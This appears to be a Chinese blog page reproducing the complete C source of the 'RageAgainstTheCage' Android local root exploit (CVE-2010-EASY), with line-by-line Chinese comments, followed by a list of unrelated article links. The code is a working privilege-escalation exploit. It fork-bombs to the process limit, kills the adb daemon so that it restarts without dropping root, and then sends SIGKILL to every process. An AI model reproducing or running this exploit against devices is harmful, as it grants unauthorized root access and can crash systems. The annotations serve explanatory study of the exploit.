//头文件包含 
#include <stdio.h> 
#include <sys/types.h> 
#include <sys/time.h> 
#include <sys/resource.h> 
#include <unistd.h> 
#include <fcntl.h> 
#include <errno.h> 
#include <string.h> 
#include <signal.h> 
#include <stdlib.h> 
 
 
//输出错误消息后退出程序 
void die(const char *msg) 

    perror(msg); 
    exit(errno); 

 
 
//搜索ADB进程,返回其PID,没有找到时返回0 
pid_t find_adb() 

    char buf[256]; 
    int i = 0, fd = 0; 
    pid_t found = 0;    //初始化为0,如果没有找到adb将一直保持0值 
 
 
    //遍历进程ID的有效范围 
    for (i = 0; i < 32000; ++i)  
    { 
        //拼接字符串"/proc/<PID>/cmdline" 
        sprintf(buf, "/proc/%d/cmdline", i); 
 
 
        //打开失败,进程不存在或无权访问 
        if ((fd = open(buf, O_RDONLY)) < 0) 
        { 
            //跳过这个PID,继续下一轮循环 
            continue; 
        }   //end if 
 
 
        //buf填0 
        memset(buf, 0, sizeof(buf)); 
 
 
        //读取进程的命令行 
        read(fd, buf, sizeof(buf) - 1); 
 
 
        //关闭进程 
        close(fd); 
 
 
        //在命令行中查找"/sbin/adb" 
        if (strstr(buf, "/sbin/adb"))  
        { 
            //找到了"/sbin/adb"则说明找到了adb进程,返回找到的PID 
            found = i; 
            break; 
        }   //end if 
    }   //end for 
 
 
    //返回找到的PID或0值 
    return found; 

 
 
//重启adb进程,参数为当前adb进程的PID 
void restart_adb(pid_t pid) 

    //直接杀死进程(sig = SIGKILL) 
    kill(pid, 9); 

 
 
//等待具有root权限的adb进程 
//参数为原有adb进程的PID 
void wait_for_root_adb(pid_t old_adb) 

    pid_t p = 0; 
 
 
    //死循环,只能由里面的break跳出 
    for (;;)  
    { 
        //搜索adb进程 
        p = find_adb(); 
 
 
        //找到了adb进程,并且不是原来那个旧的adb进程 
        if (p != 0 && p != old_adb) 
        { 
            //退出循环 
            break; 
        } 
 
 
        //休息1秒,防止大量占用CPU 
        sleep(1); 
 
 
    }   //end for 
 
 
    //休息5秒,等待新的adb进程初始化完毕 
    sleep(5); 
 
 
    //将SIGKILL广播给系统中的所有进程 
    kill(-1, 9); 

 
 
//程序入口点 
int main(int argc, char **argv) 

    pid_t adb_pid = 0, p; 
    int pids = 0, new_pids = 1; 
    int pepe[2]; 
    char c = 0; 
    struct rlimit rl; 
 
 
    //启动时显示的版本与版权信息 
    printf(" CVE-2010-EASY Android local root exploit (C) 2010 by 743C\n\n"); 
    printf(" checking NPROC limit ...\n"); 
 
 
    //获取当前进程可以创建的最大子进程数量 
    if (getrlimit(RLIMIT_NPROC, &rl) < 0) 
    { 
        //失败时输出消息退出 
        die("[-] getrlimit"); 
    } 
 
 
    //检查是否有最大子进程数量限制 
    if (rl.rlim_cur == RLIM_INFINITY)  
    { 
        //当没有最大子进程数量限制时,不执行exploit,否则将导致系统崩溃 
        printf("[-] No RLIMIT_NPROC set. Exploit would just crash machine. Exiting.\n"); 
        exit(1); 
    } 
 
 
    //输出最大子进程数量软性限制和硬性限制 
    printf("[+] RLIMIT_NPROC={%lu, %lu}\n", rl.rlim_cur, rl.rlim_max); 
    printf(" Searching for adb ...\n"); 
 
 
    //查找adb进程 
    adb_pid = find_adb(); 
 
 
    //检查是否找到了adb进程 
    if (!adb_pid) 
    { 
        //没有找到时直接退出 
        die("[-] Cannot find adb"); 
    } 
 
 
    //输出adb进程的PID 
    printf("[+] Found adb as PID %d\n", adb_pid); 
 
 
    //输出一大堆废话 
    printf(" Spawning children. Dont type anything and wait for reset!\n"); 
    printf("\n If you like what we are doing you can send us PayPal money to\n" 
           " 7-4-3-C@web.de so we can compensate time, effort and HW costs.\n" 
           " If you are a company and feel like you profit from our work,\n" 
           " we also accept donations > 1000 USD!\n"); 
    printf("\n adb connection will be reset. restart adb server on desktop and re-login.\n"); 
 
 
    //休息5秒,防止当前的adb进程没有完全初始化 
    sleep(5); 
 
 
    //如果在父进程中(已有子进程) 
    if (fork() > 0) 
    { 
        //退出 
        exit(0); 
    } 
 
 
    //创建一个新的进程组 
    setsid(); 
 
 
    //创建管道 
    pipe(pepe); 
 
 
     
    //如果在子进程中 
    if (fork() == 0)  
    { 
        //关闭输入管道 
        close(pepe[0]); 
 
 
        //死循环,直到满足条件时退出进程 
        for (;;)  
        { 
            //如果是子进程 
            if ((p = fork()) == 0)  
            { 
                //直接退出 
                exit(0); 
            }  
            else if (p < 0)     //创建进程失败,说明已达到进程数最大值 
            { 
                //确保代码只执行一次,防止多个进程反复输出信息 
                if (new_pids)  
                { 
                    printf("\n[+] Forked %d childs.\n", pids); 
                    new_pids = 0; 
                    //在输出管道中写入一个字节,然后关闭管道 
                    //相当于通知顶级父进程fork炸弹完成 
                    write(pepe[1], &c, 1); 
                    close(pepe[1]); 
                } 
            }  
            else  
            { 
                //进程总数+1 
                ++pids; 
            } 
        } 
    } 
 
 
    //关闭输出管道 
    close(pepe[1]); 
 
 
    //从输入管道中读一个字符,用来等待前面创建的子进程到达最大值 
    read(pepe[0], &c, 1); 
 
 
    //重启adb 
    restart_adb(adb_pid); 
 
 
    //在adb重启完以前,再创建一个子进程,占用刚释放出的进程空位 
    if (fork() == 0)  
    { 
        //子进程里继续开子进程,保证进程空位被占满 
        fork(); 
 
 
        //无限休眠,永不退出 
        for (;;) 
        { 
            sleep(0x743C); 
        } 
    } 
 
 
    //等待具有root权限的adb启动 
    wait_for_root_adb(adb_pid); 
 
 
    //执行完毕 
    return 0; 
}

rageagainstthecage 源代码的更多相关文章

  1. arcgis api for js入门开发系列八聚合效果(含源代码)

    上一篇实现了demo的图层控制模块,本篇新增聚合效果,截图如下(源代码见文章底部): 聚合效果实现的思路如下: 1.map.html引用聚合包,项目已经包含进来了的聚合文件夹: <script ...

  2. arcgis api for js入门开发系列七图层控制(含源代码)

    上一篇实现了demo的地图分屏对比模块,本篇新增图层控制模块,截图如下(源代码见文章底部): 图层控制模块实现的思路如下: 1.在地图配置文件map.config.js里面配置图层目录树节点信息,作为 ...

  3. arcgis api for js入门开发系列六地图分屏对比(含源代码)

    上一篇实现了demo的地图标绘模块,本篇新增地图地图分屏对比模块,截图如下(源代码见文章底部): 对效果图的简单介绍一下,在demo只采用了两分屏对比,感兴趣的话,可以在两分屏的基础上拓展,修改css ...

  4. arcgis api for js入门开发系列五地图态势标绘(含源代码)

    上一篇实现了demo的地图查询功能,本篇新增地图态势标绘模块,截图如下: 本篇核心的在于调用API的Draw工具:https://developers.arcgis.com/javascript/3/ ...

  5. arcgis api for js入门开发系列四地图查询(含源代码)

    备注:由于实现本篇功能的需求,修改了地图数据的dlsearch.mxd,然后更新了地图服务,需要的在文章最后有提供最新的mxd以及源代码下载的 上一篇实现了demo的地图工具栏,本篇新增地图查询功能, ...

  6. 使用git进行源代码管理

    git是一款非常流行的分布式版本控制系统,使用Local Repository追踪代码的修改,通过Push和Pull操作,将代码changes提交到Remote Repository,或从Remote ...

  7. 微软开放.NET框架源代码和Mono

    微软一直在朝着更加开放的方向努力.例如,公司首席执行官萨特亚纳德拉(Satya Nadella)在Windows 10预览发布会上声称微软喜欢Linux,这并不出人意料,但是对于一家将Linux视作威 ...

  8. 【完全开源】知乎日报UWP版:项目结构说明、关键源代码解释

    目录 说明 项目结构 关键代码 演示视频 说明 上一篇博客将源码放出来了,但是并没有做过多的介绍,所以如果自己硬看可能需要花费很长的时间,尤其这些代码并不是自己写的.项目不算复杂但是也不算简单,这篇文 ...

  9. SVN源代码的版本控制系统使用简介

    SVN是以个开放源代码的版本控制系统,当前最流行的版本控制系统,GIT是近段时间刚兴起的. 下面开始介绍如何安装也配置 1先下载或者从别的地方弄一个安装包(本人是64位的,32位的就用32位的安装包) ...

随机推荐

  1. a标签的click事件问题

    easy知识点, a标签的click事件和href共存会在执行click事件后触发href里面的链接,如果把href设为空字符串:href="",则会使用当前页面的url作为跳转链 ...

  2. SQL Server 提高创建索引速度的 2 个方法

    方法 1. 使用tempdb来提速 create index index_name on table_name (column_list) with(sort_in_tempdb = on); 方法 ...

  3. Nginx 配置指令的执行顺序(二)

    我们前面已经知道,当 set 指令用在 location 配置块中时,都是在当前请求的 rewrite 阶段运行的.事实上,在此上下文中,ngx_rewrite 模块中的几乎全部指令,都运行在 rew ...

  4. shell基础——二元比较操作符

    二元比较操作符,比较变量或者比较数字.注意数字与字符串的区别. 整数比较 -eq 等于,如:if [ "$a" -eq "$b" ]-ne 不等于,如:if [ ...

  5. C语言的本质(25)——C标准库之内存管理

    程序中需要动态分配一块内存时怎么办呢?我们可以定义一个缓冲区数组,但是这种方法不够灵活,C89要求定义的数组是固定长度的,而程序往往在运行时才知道要动态分配多大的内存,例如: void foo(cha ...

  6. 【POJ 3009 Curling2.0 迷宫寻径 DFS】

    http://poj.org/problem?id=3009 模拟冰壶的移动,给出到达终点的最少投掷次数(不可达时为-1). 具体移动规则如下: 每次选四个方向之一,沿此方向一直前进,直到撞到bloc ...

  7. cocos2d_android 瞬间动作

    该文章所写的瞬间动作主要有CCFlipX,CCFlipY,CCHide,CCShow 当中CCFlipX是以Y轴为中心旋转,CCFlipY是以X轴为中心旋转,CCHide将精灵对象隐藏,CCShow将 ...

  8. C#关于事件的几个好例子

    #region // 定义BoiledEventArgs类,传递给Observer所感兴趣的信息 public class BoiledEventArgs : EventArgs { public r ...

  9. 子级Repeater获取 父级Repeater

    第一种方法,子级Repeater中绑定父级的某个字段: <%# DataBinder.Eval((Container.NamingContainer.NamingContainer as Rep ...

  10. HDU 5781 ATM Mechine

    题目大意:某个未知整数x等概率的分布在[0,k]中.每次你都可以从这个整数中减去一个任意整数y,如果x>=y,那么x=x-y,操作次数累计加1:否则,将会受到一次错误提示.当错误提示超过w次,将 ...